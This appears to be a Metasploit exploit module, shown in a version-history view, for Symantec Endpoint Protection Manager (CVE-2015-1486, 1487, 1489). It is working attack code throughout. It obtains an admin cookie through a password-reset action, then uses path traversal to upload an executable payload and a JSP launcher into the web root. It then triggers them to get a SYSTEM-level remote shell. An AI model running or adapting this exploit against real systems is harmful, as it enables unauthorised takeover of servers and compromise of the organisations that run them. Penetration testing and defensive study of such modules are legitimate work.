metasploit-framework/modules/exploits/windows/http/sepm_auth_bypass_rce.rb

126 lines
3.6 KiB
Ruby
Raw Normal View History

2015-08-01 21:40:03 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE",
'Description' => %q{
2015-08-02 13:31:03 +00:00
This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager
in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM
2015-08-01 21:40:03 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'bperry', #metasploit module
'Markus Wulftange' #discovery
2015-08-01 21:40:03 +00:00
],
'References' =>
[
['CVE', '2015-1486'],
['CVE', '2015-1487'],
2015-08-02 13:31:03 +00:00
['CVE', '2015-1489'],
2015-08-01 21:40:03 +00:00
['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html']
],
2015-08-02 16:37:06 +00:00
'Payload' => { 'BadChars' => "" },
2015-08-02 13:59:36 +00:00
'DefaultOptions' => {
'SSL' => true
},
2015-08-01 21:40:03 +00:00
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {
'Arch' => ARCH_X86,
'Payload' => {
'DisableNops' => true
}
} ],
],
2015-08-02 13:31:03 +00:00
'Privileged' => true,
2015-08-01 21:40:03 +00:00
'DisclosureDate' => 'Jul 31 2015',
'DefaultTarget' => 0))
register_options(
[
2015-08-02 13:59:36 +00:00
Opt::RPORT(8443),
2015-08-01 21:40:03 +00:00
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
], self.class)
end
def exploit
2015-08-01 21:50:06 +00:00
meterp = Rex::Text.rand_text_alpha(10)
jsp = Rex::Text.rand_text_alpha(10)
2015-08-02 20:03:59 +00:00
print_status("Getting cookie")
2015-08-01 21:40:03 +00:00
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_post' => {
'ActionType' => 'ResetPassword',
'UserID' => 'admin',
'Domain' => ''
}
})
2015-08-01 22:58:41 +00:00
unless res
fail_with(Failure::Unknown, 'The server did not respond in an expected way')
end
2015-08-01 21:40:03 +00:00
cookie = res.get_cookies
if not cookie || cookie == ''
fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.')
end
2015-08-02 13:31:03 +00:00
exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
}
2015-08-01 21:40:03 +00:00
2015-08-02 20:03:59 +00:00
print_status("Uploading payload...")
send_request_cgi({
2015-08-01 21:40:03 +00:00
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_get' => {
'ActionType' => 'BinaryFile',
'Action' => 'UploadPackage',
2015-08-01 21:50:06 +00:00
'PackageFile' => "../../../tomcat/webapps/ROOT/#{meterp}.exe",
2015-08-01 21:40:03 +00:00
'KnownHosts' => '.'
},
'data' => payload.encoded_exe,
'cookie' => cookie,
'ctype' => ''
})
2015-08-02 20:03:59 +00:00
print_status("Uploading JSP page to execute the payload...")
send_request_cgi({
2015-08-01 21:40:03 +00:00
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST',
'vars_get' => {
'ActionType' => 'BinaryFile',
'Action' => 'UploadPackage',
2015-08-01 21:50:06 +00:00
'PackageFile' => "../../../tomcat/webapps/ROOT/#{jsp}.jsp",
2015-08-01 21:40:03 +00:00
'KnownHosts' => '.'
},
'data' => exec,
'cookie' => cookie,
'ctype' => ''
})
2015-08-02 20:03:59 +00:00
print_status("Executing payload. Manual cleanup will be required.")
send_request_cgi({
2015-08-01 21:50:06 +00:00
'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp")
2015-08-01 21:40:03 +00:00
})
end
end